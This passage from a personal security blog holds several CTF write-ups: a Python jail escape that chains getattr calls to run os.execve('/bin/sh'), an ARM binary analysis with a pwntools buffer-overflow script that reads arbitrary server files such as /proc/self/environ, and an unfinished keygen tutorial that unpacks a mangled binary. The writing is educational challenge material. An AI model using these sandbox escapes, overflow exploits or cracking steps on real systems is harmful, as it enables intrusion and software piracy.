Got side tracked for a bit, when researching some malware. It lead me to create a autoIT compiled binary that decompiles to 2 completely different scripts. and runs a third one .
check it out here:
https://unit42.paloaltonetworks.com/autoit-compiled-malware/
Thanks, everybody that helped by testing, proofreading, bringing me in contact with the right people and helped moving it forward.
– – love you all <3
— also;
RIP Ernst, You will be missed.
Happy New Year!!
Hey, It has been a while since the last time I posted here.
A lot has changed in the last year after my last post.
– Broke up with my girlfriend whom I was with for 6 1/2 years.
– Temporarly moved in with a friend, his girlfriend and the 2 bratiest boys you’ll ever meet, so my ex could stay in our house until she found something else.
– Got my first ICT job at Palo Alto Networks. (17-05-2019)
– Leared a lot about the OS I was avoiding for so many years (Windows)
– Got a new girlfriend.
– Got my house back.
– Broke up with the new girlfriend.
So, there you go.. my list of excuses why I’ve not been playing CTFs as crazy as I use to do.
But I just got reminded that 2019 has passed, and so has the the NIXU challenge 2019 and this means I can finaly publish the write-ups.
and the libsy decompiler and emulator code https://github.com/Drubes/NIXU_2019_Lisby
Escaping a python jail.
Write up for insHACK hell_of_a_jail challenge.
############################################################### # Challenge # desc: [ hell_of_a_jail - PWN 150 ] # # A guy from FBI found about your Ruby programming activities # and has put you inside a python Jail ! Find your way out ! # ################################################################## #:' # Profided is a ssh key, server address and port to connect to. # -p2222 user@hell-of-a-jail.ctf.insecurity-insa.fr # # After loggin into te server i got a nice welcome message # and a python shell. # But not just any shell a shell that would trim off all # input longer than 14 chacters, with only 3 functions to use and # remove all dots and double lower dashes and would spam your sceen # with a thousend times the phrase "TROLLED !!!!" if a double quote # occured in the input. # _________________________________________________________________ # |To make matters evern worse the challenge was in python3. | # |Who would spam my screen with messages like, | # |Missing parentheses in call to 'print'. Did you mean print("A")? | # ,+----------------------------------------------------------------=+ ################################################################### # # To check what fucntions i wase allowed to use out of the box. # I ran this on my local machine copied the output to the server # +---------------------------------+ # | >>> for x in dir(__builtins__): | # | ... print('%s()'%x) | # +---------------------------------+ # Then I scrolled trough the error messages to check what fuctions # were still alive and avalible. # Turns out the only build-in functions I got to play with were: # # print(), exit() getattr() # # the last one I've had never used before but we became good friends # during this challenge. ###################################### # [ CUTE NAMED FUNCIONS ] # # # G=getattr # G (fun) getattr # Because of de 15 chacter P=print # P (fun) print # I decided to rename them E=exit # E (fun) exit # to something shorter. # # as I also had to do with ####################################### most of the stings. # SOME USEFULL STRINGS # u='_'+'_' # u (str) __ # While trying to explore the c=u+'class'+u # c (str) __class__ # possiabilities (or lack here of) cc=u+'call'+u #cc (str) __call__ # I realized soon enough that cd=u+'code'+u #cd (str) __code__ # the time out on the sever was d=u+'dir'+u # d (str) __dir__ # annoyingly short, it dd=u+'doc'+u #dd (str) __doc__ # also did't auto complete b=u+'bases'+u # b (str) __bases__ # on tab and was printing s=u+'subclas'\ # s (str) __subclasses__ esc codes instead of moving 'ses'+u # my cursur back. ss='self' #ss (str) self # I quickly moved to worinking h='/bin/sh' #h (str) /bin/sh # in this script instead. f='./flag.txt' # f (str) ./flag.txt # ff=u+'file'+u #ff (srt) __file__ # this would also allow me to fg=u+'flags'+u #fg (str) __flags__ # neatly organize my collection o='open' # o (str) open # of usefull strings. r='read' # r (str) read # 'n other things. e='execve' # e (str) execve # my initinal tought was to m=u+'mro'+u # m (str) __mro__ # create something simulair to: n=u+'name'+u # n (str) __name__ # ().__class__.__bases__[0].__subclasses__()[40]("./key").read() a='append' # a (str) append # wich I've seen and even used g=u+'globals'\ # g (str) __globals__ before. but i never fully ''+u # understood what was going on l=u+'locals'+u # l (str) __locals__ # after a lot of time READING v='co_varnam'\ # v (str) co_varnames# python documentation. 'es' # I realized the fucntions en='environ' #en (str) environ # that i wanted to use were. #------------------------------------ # removed from __subclasses__ # I spend a lot of time browsing around this python class space # reading writeups and documentation trying to figure out how to # defeat this beast. I READ about how to use getattr to access atribute # form objects, I READ even more about this strange object oriented # world named python and exlporing with __mro__ __subclasses__ and __dir__ # But what I should have READ a little bit better was . # !!!!! THE welcome MESSAGE comming FROM the SERVER. !!!!!!!! # There was a big BIG big hint in there pointing towards the exit() # It was only when I was rearanging my terminal windows, and closing # the billion python documentation tabs in my browser. when I # accsendently opened the ssh connection and wanted to close it with # CTRL+D, but that din't work because quit() wasn't there so I typed # exit() and I got promted with a error telling me that exit() requires 1 # argument... And then my eye caught the Welcome message. # +------------------------------------------------------+ # [Oh my jail ! You need to exit() with the correct key. ] # [It might make you free (and give you the flag) ] # +------------------------------------------------------+ # After I saw this I know I was looking in the wrong places. # and I focused my attention to the object named quit. # Whom was holding a lot of goodies like __globals__ # With a os object. # # So I Quickly build a OBJchain.(Tm) and ran to the nearist exit. # (what for me was '/bin/sh' I had everything already prepaired # and ready to open a file or pop a shell.) # ########################################################### # [VERY USEFULL THINGEMAGADGETS] C=G(E,c) # C (Obj) exit.__class__ B=G(C,b) # B (Obj) exit.__class__.__bases__ D=G(C,d) # D (Fun) exit.__class__.__dir__ S=G(B[0],s) # S (Obj) exit.__class__.__bases__[0].__subclasses__ M=G(C,m) # M (Obj) exit.__class__.__mro__ X=G(E,g) # X (Dic) exit.__globals__ O=X['os'] # O (Obj) exit.__globals__[os] Y=G(O,en) # Y (Dic) exit.__globals__[os].environ F=G(O,e) # F (Obj) exit.__globals__[os].execve F(h,[h],Y) # exit.__globals__[os].execve('/bin/sh',['/bin/sh'],os.environ) # ######################################################## # # So after popping the shell I was a bit confused about the # absence of the flag.txt I was craving for for all these hours. # The only thing besides me in the path I ended up in was jail.pyc # but I rememberd the welcome message said something about keys and exits. # so I check it for strings. hoping it would hold a flag. # wich it din't. So I wrapped it in some base64 and copied it to my local # machine to decompile. # # +----------------------------------------------------------------------+ # |def exit(arg): | # | """Must invoke with the right arg in order to get the flag.""" | # | if arg == os.environ['0f4d0db3668dd58cabb9eb409657eaa8']: | # | print('Oh no ! You managed to escape\nValidate with the key') | # | return sys.exit(0) | # | print('Wrong key') | # +----------------------------------------------------------------------+ # # # So yeah.. . . The flag was hiding in environment variables # INSA{688a3188bcd888ad4540da2ac73c94ae9f55ded00ed1742c4388bb7c3285acd2} # # I had a lot of fun and learned a lot during this challenge. # # Shout out tO My team Mates. # # -xXx- TNX FOR READING... # # #####M42D##################'''''''''''''''''''''''''''''''
ARM reverse enginering.
Write up for Volga ctf warm challenge.
Given was a stripped ARM elf binary, a server address and port to connect to.
This was my first time reverse engineering something written for a ARM architecture. I knew that hopper and ghidra can handle arm binaries, but I had to read up a bit on how to set up a testing environment for debugging.
I ended up using Ghidra to reverse engineer, Qemu as emulator and gdb-multiarch to debug.
the Reverse engineering.
I load the file up in ghidra and browse though the dissassembled code.
while renaming functions and variables.
Main()
undefined4 mainthing(void) { int iVar1; int __c; FILE *__stream; byte given_passwd [100]; char filename [100]; iVar1 = __stack_chk_guard; setvbuf(stdout,(char *)0x0,2,0); while( true ) { while( true ) { flag_filename_on_stack(filename); puts("Hi there! I\'ve been waiting for your password!"); gets((char *)given_passwd); __c = passwordcheck(given_passwd); if (__c == 0) break; error_handle_thing(1,0); } __stream = fopen(filename,"rb"); if (__stream != (FILE *)0x0) break; error_handle_thing(2,filename); } while (__c = _IO_getc((_IO_FILE *)__stream), __c != -1) { putchar(__c); } fclose(__stream); if (iVar1 == __stack_chk_guard) { return 0; } /* WARNING: Subroutine does not return */ __stack_chk_fail(); }
The buffer for the given_passwd is 100bytes and the input is fetched using gets instead of fgets on stdin in witch you can set the amount of bytes you want to read. Resulting in a classic overflow vulnerability. But there is a stack canary set and checked and we will overwrite this if we try to overflow into a return pointer. So lets look a little further down the road.
The password gets passed to passwordcheck() and if it returns anything other than 0 will break out of the loop and calls the error_handle_thing() function with 1,0 as arguments.
if the passwordcheck returns 0 it will try to open the file filename, if it can’t be opened error_handle_thing() gets called with 2 and filename as arguments.
otherwise it will write it’s contents to stdout.
passwordcheck()
undefined4 passwordcheck(byte *passw) { size_t sVar1; undefined4 uVar2; sVar1 = strlen((char *)passw); if (sVar1 < 0x10) { uVar2 = 1; } else { if (((((*passw == 0x76) && ((passw[1] ^ *passw) == 0x4e)) && ((passw[2] ^ passw[1]) == 0x1e)) && ((((passw[3] ^ passw[2]) == 0x15 && ((passw[4] ^ passw[3]) == 0x5e)) && (((passw[5] ^ passw[4]) == 0x1c && (((passw[6] ^ passw[5]) == 0x21 && ((passw[7] ^ passw[6]) == 1)))))))) && (((passw[8] ^ passw[7]) == 0x34 && ((((((passw[9] ^ passw[8]) == 7 && ((passw[10] ^ passw[9]) == 0x35)) && ((passw[0xb] ^ passw[10]) == 0x11)) && (((passw[0xc] ^ passw[0xb]) == 0x37 && ((passw[0xd] ^ passw[0xc]) == 0x3c)))) && (((passw[0xe] ^ passw[0xd]) == 0x72 && ((passw[0xf] ^ passw[0xe]) == 0x47)))))))) { uVar2 = 0; } else { uVar2 = 2; } } return uVar2; }
This function has one argument (the password) and 3 return values.
if the the argument is smaller than 0x10 it will return 1,
if the password matches all these xor conditions it will return 0
and if not it will return 2.
So lets have a good look at all these conditions the password have to meet.
the first byte has to be 0x76 (‘v’ in ascii)
the second byte gets xored with the first one and has to be equal to 0x4e
the 3th gets xored with the second and has to equal 0x1e.
and so on and so on..
all characters get xored with the previous one and gets checked with a static value.
A^B = C we have C and xor is reverseable like so A^C = B
We know that the first character value is 0x76.
so let’s make a little script to recover the password.
A = 0x76 C_list = [0x4e, 0x1e, 0x15, 0x5e, 0x1c, 0x21, 0x01, 0x34, 0x07, 0x35, 0x11, 0x37, 0x3c, 0x72, 0x47] password=chr(A) for C in C_list: B = A^C A = B password = password+chr(A) print(password)
if we run the script we get the password v8&3mqPQebWFqM?x
note that the function only checks if the length is not smaller than 0x10.
So, as long and only the fist 16 charters gets checked.
If we append our recovered password with some more bytes the passwordcheck() function will still return 0.
flag_filename_on_stack()
void flag_filename_on_stack(char *pcParm1) { char *envionflag; undefined4 flag; undefined local_24; undefined4 FLAG; undefined4 _FIL; undefined2 E; int local_14; local_14 = __stack_chk_guard; FLAG = 0x47414c46; _FIL = 0x4c49465f; E = 0x45; envionflag = getenv((char *)&FLAG); flag = 0x67616c66; local_24 = 0; if (envionflag == (char *)0x0) { strcpy(pcParm1,(char *)&flag); } else { strcpy(pcParm1,envionflag); } if (local_14 != __stack_chk_guard) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; }
What happens here is that if the environment value FLAG is set it will get that and place it on the memory address given as argument.
and if the environment value FLAG is not there it will place ‘flag’ on that memory address.
conclusion:
There is a buffer overflow in passwd but, It looks like everything is set up to print the flag if the right password is provided.
Dissapointment.
Having recovered the password I connect to the server using nc and send the password hoping to receive a flag.
No such luck.
It accepted my recovered password but returned the string:
Seek file with something more sacred!
nc warm.q.2019.volgactf.ru 443
Exploitation
We can not overwrite a return pointer without overwriting the stack canary and making the stack check fail.
but if we look at the placement of filename and passwd buffers. we see that filename is placed right after passwd on the stack.
char[100] Stack[-0x78] filename byte[100] Stack[-0xdc] given_passwd
If we would overflow passwd we can write into the filename that gets printed further down the main fucntion.
Lets do that and make a little script to help us.
#!/usr/bin/python # -*- coding: utf-8 -*- #------------------------------------------------------------------------------- # CONFIG. from pwn import * context.log_level = 'info' target = "warm.q.2019.volgactf.ru" port = 443 timeout=5 password = "v8&3mqPQebWFqM?x" buffer= "A"*(100-len(password)) #------------------------------------------------------------------------------- # Xploit io = remote(target,port) while 1: try: log.info(io.recvuntil("password!",timeout=timeout)) filename = raw_input("filename or quit:") if filename == "quit": break io.sendline(password+buffer+filename) except: log.warning("connection dropped") io.close() io = remote(target,port) #----------------------------------------------------------------------
Frustration.
The exploit works like a charm.
The only problem is that without being able to use wildcards or get a directory listing, there is a lot of guess work involved.
The first thing I did was check for a flag file. It was there, it contained the string that was printed when we just provide the password without overflowing.
Then I checked en environmet values by taking a look at /proc/self/environ I though maybe they hide a clue there since the flag_filename_on_stack() checks if the value FLAG is set in environment.
Also no luck.
After some time trying to find the flag in all sort of places or try to find hints of were the flag might be hiding in places like /home/ubuntu/.bash_history
I decided to pipe a wordlist of linux file paths to stdin of the script en piped the output to a file witch I grep for a flag formatted strings also no results. I grep for base64 endcoded stuff, no luck there as well.
Then I scrolled trough 1000’s of lines of config files and other junk by hand looking for something that could be hiding a flag.
After a lot of frustration I check the code again to see if I’ve missed something. look for a way to leak the stack canary. I can get the base-offset of the bin stack heap and libc by leaking /proc/self/maps
but i could not find a way to get around the stack canary and use the ret to libc method to pop a shell.
At this point sunshineCTF was started, so I left VolgaCTF for what it was.
(no fun and a heaping pile of s….frustration)
This morning I read in a write-up about this challenge that the flag was in the a file named sacred ..
Seek file with something more sacred!
nc warm.q.2019.volgactf.ru 443
So yeah, there was a hint in the flag file that I did not get,
but I think they are a bunch of@$$#*!€$ !!!!!
Also; Big props to the NSA for releasing Ghidra to the public.
the disassembly is so good, I din’t even had to look at instruction listing much and the arm architecture guide not even once, even though i’m not so familiar with the ARM instruction set.
America 1 – Russia 0
How to make a keygen.
ctfs.me – resqua
In this article I will explain how to unpack a packed/mangled binary and how to make a keygen. Using the ctfs.me resqua challenge as a example.
The binary I’ll be working with is not stripped, so the the symbol table is still intact. But there is an other methode used to make reverse engineering a little more difficult.
They have mangled some parts of the code, if we try to disassemble this we get a bunch of instructions that doesn’t make much sense.
When a program gets executed it’s first gets loaded into memory.
After this happens the executable sectors of the programs get a write protected flag set so the instructions can’t be altered.
In this case however some of the programs executable sectors are mangled.
and before it can get executed has to be de-mangeld first.
For this to happen the write flag has to be set on the memory, so instructions can be altered/ or un-mangled.
So first I will have to find out where this happens and what memory sectors are effected.
Below is a disassembly of the “unlock” function that un-mangles the code in memory.
unlock: 00000000004007dd 55 push rbp ; Begin of unwind block (FDE at 0x400cfc), CODE XREF=main+20 00000000004007de 4889E5 mov rbp, rsp 00000000004007e1 4883EC40 sub rsp, 0x40 00000000004007e5 B809004000 mov eax, 0x400009 00000000004007ea 8B00 mov eax, dword [rax] 00000000004007ec 8945C8 mov dword [rbp+var_38], eax 00000000004007ef B80D004000 mov eax, 0x40000d 00000000004007f4 0FB700 movzx eax, word [rax] 00000000004007f7 98 cwde 00000000004007f8 8945CC mov dword [rbp+var_34], eax 00000000004007fb C745D003000000 mov dword [rbp+var_30], 0x3 0000000000400802 48C745D801004000 mov qword [rbp+var_28], 0x400001 000000000040080a 8B45C8 mov eax, dword [rbp+var_38] 000000000040080d 4898 cdqe 000000000040080f 480500004000 add rax, 0x400000 0000000000400815 488945E0 mov qword [rbp+var_20], rax 0000000000400819 8B45C8 mov eax, dword [rbp+var_38] 000000000040081c 4863D0 movsxd rdx, eax 000000000040081f 8B45CC mov eax, dword [rbp+var_34] 0000000000400822 4898 cdqe 0000000000400824 4801D0 add rax, rdx 0000000000400827 480500004000 add rax, 0x400000 000000000040082d 488945E8 mov qword [rbp+var_18], rax 0000000000400831 BF1E000000 mov edi, 0x1e ; argument "__name" for method j_sysconf 0000000000400836 E885FEFFFF call j_sysconf ; sysconf 000000000040083b 488945F0 mov qword [rbp+var_10], rax 000000000040083f 488B45F0 mov rax, qword [rbp+var_10] 0000000000400843 48F7D8 neg rax 0000000000400846 4889C2 mov rdx, rax 0000000000400849 488B45E0 mov rax, qword [rbp+var_20] 000000000040084d 4821D0 and rax, rdx 0000000000400850 488945F8 mov qword [rbp+var_8], rax 0000000000400854 488B45E8 mov rax, qword [rbp+var_18] 0000000000400858 89C2 mov edx, eax 000000000040085a 488B45F8 mov rax, qword [rbp+var_8] 000000000040085e 29C2 sub edx, eax 0000000000400860 89D0 mov eax, edx 0000000000400862 8945D4 mov dword [rbp+var_2C], eax 0000000000400865 8B45D4 mov eax, dword [rbp+var_2C] 0000000000400868 4863C8 movsxd rcx, eax 000000000040086b 488B45F8 mov rax, qword [rbp+var_8] 000000000040086f BA07000000 mov edx, 0x7 ; argument "__prot" for method j_mprotect 0000000000400874 4889CE mov rsi, rcx ; argument "__len" for method j_mprotect 0000000000400877 4889C7 mov rdi, rax ; argument "__addr" for method j_mprotect 000000000040087a E831FEFFFF call j_mprotect ; mprotect 000000000040087f C745C400000000 mov dword [rbp+var_3C], 0x0 0000000000400886 EB3E jmp loc_4008c6 loc_400888: 0000000000400888 8B45C4 mov eax, dword [rbp+var_3C] ; CODE XREF=unlock+239 000000000040088b 4863D0 movsxd rdx, eax 000000000040088e 488B45E0 mov rax, qword [rbp+var_20] 0000000000400892 488D0C02 lea rcx, qword [rdx+rax] 0000000000400896 8B45C4 mov eax, dword [rbp+var_3C] 0000000000400899 4863D0 movsxd rdx, eax 000000000040089c 488B45E0 mov rax, qword [rbp+var_20] 00000000004008a0 4801D0 add rax, rdx 00000000004008a3 0FB600 movzx eax, byte [rax] 00000000004008a6 89C6 mov esi, eax 00000000004008a8 8B45C4 mov eax, dword [rbp+var_3C] 00000000004008ab 99 cdq 00000000004008ac F77DD0 idiv dword [rbp+var_30] 00000000004008af 89D0 mov eax, edx 00000000004008b1 4863D0 movsxd rdx, eax 00000000004008b4 488B45D8 mov rax, qword [rbp+var_28] 00000000004008b8 4801D0 add rax, rdx 00000000004008bb 0FB600 movzx eax, byte [rax] 00000000004008be 31F0 xor eax, esi 00000000004008c0 8801 mov byte [rcx], al 00000000004008c2 8345C401 add dword [rbp+var_3C], 0x1 loc_4008c6: 00000000004008c6 8B45C4 mov eax, dword [rbp+var_3C] ; CODE XREF=unlock+169 00000000004008c9 3B45CC cmp eax, dword [rbp+var_34] 00000000004008cc 7CBA jl loc_400888 00000000004008ce 8B45D4 mov eax, dword [rbp+var_2C] 00000000004008d1 4863C8 movsxd rcx, eax 00000000004008d4 488B45F8 mov rax, qword [rbp+var_8] 00000000004008d8 BA05000000 mov edx, 0x5 ; argument "__prot" for method j_mprotect 00000000004008dd 4889CE mov rsi, rcx ; argument "__len" for method j_mprotect 00000000004008e0 4889C7 mov rdi, rax ; argument "__addr" for method j_mprotect 00000000004008e3 E8C8FDFFFF call j_mprotect ; mprotect 00000000004008e8 C9 leave 00000000004008e9 C3 ret
I could dive into this code to see how it is changing what data, but that would be a waste of time since I only need the result of wat its doing and I could just run it and dump it from memory.
Dumping
In the disassembly of the “unlock” function you can see two calls to mprotect.
I set 2 breakpoints:
one right before the first call to mprotect.
and one right after the second call to mprotect.
after hitting the first breakpoint I check check the rax and rcx registers to see what arguments are passed to mprotect.
rax 0x0000000000400000
rcx 0x0000000000000ba2
rax holds the start address of the affected memory and the second and rcx holds the length.
So I dump the memory in that range.
>>> dump binary memory before.bin 0x400000 0x400ba2
Now i continue to the second breakpoint and i do the same.
>>> dump binary memory after.bin 0x400000 0x400ba2
I use bindiff to check if the dumpfiles indeed differ.
$ diff before.bin after.bin
Binary files before.bin and after.bin differ
Patching
To analyze the code it is help full to be able to run it in a debugger.
to do this with the dumped code, I will now make a patched executable.
The dump starts at offset 0x400000 and since this is the beginning of the file I can just append the data from the original file starting at the offset 0xba2 to the dumpfile.
$ cp after.bin patched
$ dd if=resqua bs=1 skip=2978 of=patched oflag=append conv=notruncd
The mangled part of code is now un-mangled in the binary. So the call to “unlock” has to be overwritten by NOP’s. I do this hopper since I’m going to use it for disassembly anyway.
main: 00000000004008ea 55 push rbp ; End of unwind block (FDE at 0x400cfc), Begin of unwind block (FDE at 0x400d5c), DATA XREF=_start+29 00000000004008eb 4889E5 mov rbp, rsp 00000000004008ee 4883EC10 sub rsp, 0x10 00000000004008f2 897DFC mov dword [rbp+var_4], edi 00000000004008f5 488975F0 mov qword [rbp+var_10], rsi 00000000004008f9 B800000000 mov eax, 0x0 00000000004008fe E8DAFEFFFF call unlock ; unlock 0000000000400903 B800000000 mov eax, 0x0 0000000000400908 E8C1000000 call run ; run 000000000040090d B800000000 mov eax, 0x0 0000000000400912 C9 leave 0000000000400913 C3 ret
main: 00000000004008ea 55 push rbp ; End of unwind block (FDE at 0x400cfc), Begin of unwind block (FDE at 0x400d5c), DATA XREF=_start+29 00000000004008eb 4889E5 mov rbp, rsp 00000000004008ee 4883EC10 sub rsp, 0x10 00000000004008f2 897DFC mov dword [rbp+var_4], edi 00000000004008f5 488975F0 mov qword [rbp+var_10], rsi 00000000004008f9 B800000000 mov eax, 0x0 00000000004008fe 0F1F440000 nop dword [rax+rax] ; unlock 0000000000400903 B800000000 mov eax, 0x0 0000000000400908 E8C1000000 call run ; run 000000000040090d B800000000 mov eax, 0x0 0000000000400912 C9 leave 0000000000400913 C3 ret
analyze the code
lets take a look at the “run” function at 0x4009ce that was mangled before.
00000000004009ce 55 push rbp ; End of unwind block (FDE at 0x400d1c), Begin of unwind block (FDE at 0x400d3c), CODE XREF=main+30 00000000004009cf 4889E5 mov rbp, rsp 00000000004009d2 4883C480 add rsp, 0xffffffffffffff80 00000000004009d6 64488B042528000000 mov rax, qword [fs:0x28] 00000000004009df 488945F8 mov qword [rbp+var_8], rax 00000000004009e3 31C0 xor eax, eax 00000000004009e5 BFB80B4000 mov edi, aEnterAValidSer ; argument "__format" for method j_printf, "Enter a valid serial number: " 00000000004009ea B800000000 mov eax, 0x0 00000000004009ef E87CFCFFFF call j_printf ; printf 00000000004009f4 488D45E0 lea rax, qword [rbp+var_20] 00000000004009f8 4889C7 mov rdi, rax ; argument "__str" for method j_gets 00000000004009fb E8A0FCFFFF call j_gets ; gets 0000000000400a00 488D45E0 lea rax, qword [rbp+var_20]
the first thing that gets checked after getting user input is the length of the input string. It hast to be 19 charcters long otherwise it wil jump to 0x400a2a and print out “Wrong format!”
0000000000400a00 488D45E0 lea rax, qword [rbp+var_20] 0000000000400a04 4889C7 mov rdi, rax ; argument "__s" for method j_strlen 0000000000400a07 E844FCFFFF call j_strlen ; strlen 0000000000400a0c 4883F813 cmp rax, 0x13 0000000000400a10 7518 jne Wrong input 0000000000400a12 0FB645E4 movzx eax, byte [rbp+var_1C] 0000000000400a16 3C2D cmp al, 0x2d 0000000000400a18 7510 jne Wrong input 0000000000400a1a 0FB645E9 movzx eax, byte [rbp+var_17] 0000000000400a1e 3C2D cmp al, 0x2d 0000000000400a20 7508 jne Wrong input 0000000000400a22 0FB645EE movzx eax, byte [rbp+var_12] 0000000000400a26 3C2D cmp al, 0x2d 0000000000400a28 740F je loc_400a39 Wrong input: 0000000000400a2a BFD60B4000 mov edi, 0x400bd6 ; argument "__s" for method j_puts, CODE XREF=run+66, run+74, run+82 0000000000400a2f E80CFCFFFF call j_puts ; puts 0000000000400a34 E953010000 jmp loc_400b8c
Then it will check if the 5th, 10th and 15th byte equals to 0x2d which has the ASCII value of “-” otherwise it will jump to 0x400a0c
Now we know that the serial code has to have the following format.
XXXX-XXXX-XXXX-XXXX
Lets check what happens next.
loc_400a39: 0000000000400a39 C7458C00000000 mov dword [rbp+var_74], 0x0 ; CODE XREF=run+90 0000000000400a40 EB26 jmp loc_400a68 loc_400a42: 0000000000400a42 8B458C mov eax, dword [rbp+var_74] ; CODE XREF=run+158 0000000000400a45 4898 cdqe 0000000000400a47 0FB64405E0 movzx eax, byte [rbp+rax+var_20] 0000000000400a4c 3C30 cmp al, 0x30 0000000000400a4e 7514 jne loc_400a64 0000000000400a50 BFF00B4000 mov edi, 0x400bf0 ; argument "__s" for method j_puts 0000000000400a55 E8E6FBFFFF call j_puts ; puts 0000000000400a5a BF01000000 mov edi, 0x1 ; argument "__status" for method j_exit 0000000000400a5f E87CFCFFFF call j_exit ; exit ; endp loc_400a64: 0000000000400a64 83458C01 add dword [rbp+var_74], 0x1 ; CODE XREF=run+128 loc_400a68: 0000000000400a68 837D8C13 cmp dword [rbp+var_74], 0x13 ; CODE XREF=run+114 0000000000400a6c 7ED4 jle loc_400a42
Here it will cycle trough the provided serial number and prints “Invalide serial number!” if any of the bytes equals 0x30 (or ASCII “0”)
now we have learned a little more about the requirements of a valid serial code.
0000000000400a6e 488D4DE0 lea rcx, qword [rbp+var_20] 0000000000400a72 488D45A0 lea rax, qword [rbp+var_60] 0000000000400a76 BA04000000 mov edx, 0x4 ; argument "__n" for method j_strncpy 0000000000400a7b 4889CE mov rsi, rcx ; argument "__src" for method j_strncpy 0000000000400a7e 4889C7 mov rdi, rax ; argument "__dest" for method j_strncpy 0000000000400a81 E8AAFBFFFF call j_strncpy ; strncpy 0000000000400a86 C645A400 mov byte [rbp+var_5C], 0x0 0000000000400a8a 488D45E0 lea rax, qword [rbp+var_20] 0000000000400a8e 488D4805 lea rcx, qword [rax+5] 0000000000400a92 488D45B0 lea rax, qword [rbp+var_50] 0000000000400a96 BA04000000 mov edx, 0x4 ; argument "__n" for method j_strncpy 0000000000400a9b 4889CE mov rsi, rcx ; argument "__src" for method j_strncpy 0000000000400a9e 4889C7 mov rdi, rax ; argument "__dest" for method j_strncpy 0000000000400aa1 E88AFBFFFF call j_strncpy ; strncpy 0000000000400aa6 C645B400 mov byte [rbp+var_4C], 0x0 0000000000400aaa 488D45E0 lea rax, qword [rbp+var_20] 0000000000400aae 488D480A lea rcx, qword [rax+0xa] 0000000000400ab2 488D45C0 lea rax, qword [rbp+var_40] 0000000000400ab6 BA04000000 mov edx, 0x4 ; argument "__n" for method j_strncpy 0000000000400abb 4889CE mov rsi, rcx ; argument "__src" for method j_strncpy 0000000000400abe 4889C7 mov rdi, rax ; argument "__dest" for method j_strncpy 0000000000400ac1 E86AFBFFFF call j_strncpy ; strncpy 0000000000400ac6 C645C400 mov byte [rbp+var_3C], 0x0 0000000000400aca 488D45E0 lea rax, qword [rbp+var_20] 0000000000400ace 488D480F lea rcx, qword [rax+0xf] 0000000000400ad2 488D45D0 lea rax, qword [rbp+var_30] 0000000000400ad6 BA04000000 mov edx, 0x4 ; argument "__n" for method j_strncpy 0000000000400adb 4889CE mov rsi, rcx ; argument "__src" for method j_strncpy 0000000000400ade 4889C7 mov rdi, rax ; argument "__dest" for method j_strncpy 0000000000400ae1 E84AFBFFFF call j_strncpy ; strncpy 0000000000400ae6 C645D400 mov byte [rbp+var_2C], 0x0 0000000000400aea 488D45A0 lea rax, qword [rbp+var_60] 0000000000400aee 4889C7 mov rdi, rax ; argument "__nptr" for method j_atoi 0000000000400af1 E8DAFBFFFF call j_atoi ; atoi 0000000000400af6 894590 mov dword [rbp+var_70], eax 0000000000400af9 488D45B0 lea rax, qword [rbp+var_50] 0000000000400afd 4889C7 mov rdi, rax ; argument "__nptr" for method j_atoi 0000000000400b00 E8CBFBFFFF call j_atoi ; atoi 0000000000400b05 894594 mov dword [rbp+var_6C], eax 0000000000400b08 488D45C0 lea rax, qword [rbp+var_40] 0000000000400b0c 4889C7 mov rdi, rax ; argument "__nptr" for method j_atoi 0000000000400b0f E8BCFBFFFF call j_atoi ; atoi 0000000000400b14 894598 mov dword [rbp+var_68], eax 0000000000400b17 488D45D0 lea rax, qword [rbp+var_30] 0000000000400b1b 4889C7 mov rdi, rax ; argument "__nptr" for method j_atoi 0000000000400b1e E8ADFBFFFF call j_atoi ; atoi 0000000000400b23 89459C mov dword [rbp+var_64], eax
Over here the chunks* of the serial number gets copied to their own parts in memory using strncopy(). Shown as var_60, var_50, var_40 and var_30 in hoppers disassembly
*(by chunks I mean the parts before, after and in between the ‘-‘ of the serial number)
changes these chucks of serial into integers using atoi(). and stores the results to other parts of memory. Shown as var_70, var_6c, var_68 and var_64.
0000000000400b26 8B4590 mov eax, dword [rbp+var_70] 0000000000400b29 89C7 mov edi, eax ; argument #1 for method c 0000000000400b2b E862FEFFFF call c ; c 0000000000400b30 85C0 test eax, eax 0000000000400b32 744E je loc_400b82 0000000000400b34 8B4594 mov eax, dword [rbp+var_6C] 0000000000400b37 89C7 mov edi, eax ; argument #1 for method c 0000000000400b39 E854FEFFFF call c ; c 0000000000400b3e 85C0 test eax, eax 0000000000400b40 7440 je loc_400b82 0000000000400b42 8B4598 mov eax, dword [rbp+var_68] 0000000000400b45 89C7 mov edi, eax ; argument #1 for method c 0000000000400b47 E846FEFFFF call c ; c 0000000000400b4c 85C0 test eax, eax 0000000000400b4e 7432 je loc_400b82 0000000000400b50 8B459C mov eax, dword [rbp+var_64] 0000000000400b53 89C7 mov edi, eax ; argument #1 for method c 0000000000400b55 E838FEFFFF call c ; c 0000000000400b5a 85C0 test eax, eax 0000000000400b5c 7424 je loc_400b82 0000000000400b5e 8B4590 mov eax, dword [rbp+var_70] 0000000000400b61 3B4594 cmp eax, dword [rbp+var_6C] 0000000000400b64 7D1C jge loc_400b82 0000000000400b66 8B4594 mov eax, dword [rbp+var_6C] 0000000000400b69 3B4598 cmp eax, dword [rbp+var_68] 0000000000400b6c 7D14 jge loc_400b82 0000000000400b6e 8B4598 mov eax, dword [rbp+var_68] 0000000000400b71 3B459C cmp eax, dword [rbp+var_64] 0000000000400b74 7D0C jge loc_400b82 0000000000400b76 BF100C4000 mov edi, 0x400c10 ; argument "__s" for method j_puts 0000000000400b7b E8C0FAFFFF call j_puts ; puts 0000000000400b80 EB0A jmp loc_400b8c loc_400b82: 0000000000400b82 BFF00B4000 mov edi, 0x400bf0 ; argument "__s" for method j_puts, CODE XREF=run+356, run+370, run+384, run+398, run+406, run+414, run+422 0000000000400b87 E8B4FAFFFF call j_puts ; puts loc_400b8c: 0000000000400b8c 488B45F8 mov rax, qword [rbp+var_8] ; CODE XREF=run+102, run+434 0000000000400b90 644833042528000000 xor rax, qword [fs:0x28] 0000000000400b99 7405 je loc_400ba0 0000000000400b9b E8C0FAFFFF call j___stack_chk_fail ; __stack_chk_fail ; endp loc_400ba0: 0000000000400ba0 C9 leave ; CODE XREF=run+459 0000000000400ba1 C3 ret
One by one the numbers get fed to the function c, if the fuction c returns 0x0 “Invalide serial number!” gets printed.
Also the first chunk cannot be greater than or equal to the second, the second not equal or greater than the third and the third not equal or greater than the fourth or “Invalide serial number!” gets printed
lets have a look at the function named c
